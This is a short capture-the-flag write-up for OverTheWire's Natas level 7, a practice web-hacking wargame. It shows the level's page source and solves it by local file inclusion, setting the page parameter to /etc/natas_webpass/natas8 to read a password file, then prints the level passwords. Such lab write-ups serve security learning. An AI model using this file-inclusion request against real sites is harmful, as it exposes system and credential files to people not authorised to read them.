> For the complete documentation index, see [llms.txt](https://ravins-organization.gitbook.io/ctf-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ravins-organization.gitbook.io/ctf-writeups/2025/wapt-module-natas/natas-7.md).

# Natas 7

At first glance, we simply see a Home and an About button

<figure><img src="https://175444261-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyxEI13wXOyST4LLTOUiS%2Fuploads%2FUa4UZcfp0X9gI5ReWWb0%2Fimage.png?alt=media&amp;token=3c5c2b21-4f1a-45a2-a18d-90c5ed0c9089" alt=""><figcaption></figcaption></figure>

By taking a look at the source code, we can see there is something more interesting

```html
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas7", "pass": "bmg8SvU1LizuWjx3y7xkNERkHxGre0GS" };</script></head>
<body>
<h1>natas7</h1>
<div id="content">

<a href="index.php?page=home">Home</a>
<a href="index.php?page=about">About</a>
<br>
<br>
this is the front page

<!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 -->
</div>
</body>
</html>

```

By simply changing

[http://natas7.natas.labs.overthewire.org/index.php?page=/home](http://natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8)&#x20;

to&#x20;

{% embed url="<http://natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8>" %}

We can see the secret

<figure><img src="https://175444261-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyxEI13wXOyST4LLTOUiS%2Fuploads%2FSfp6TJfACb11Q7Mt2dv1%2Fimage.png?alt=media&amp;token=5ea4bf75-84f0-4cfc-be7e-9573cfb4dff2" alt=""><figcaption></figcaption></figure>

Thus, secret is `xcoXLmzMkoIP9D7hlgPlh9XD7OgLAe5Q`
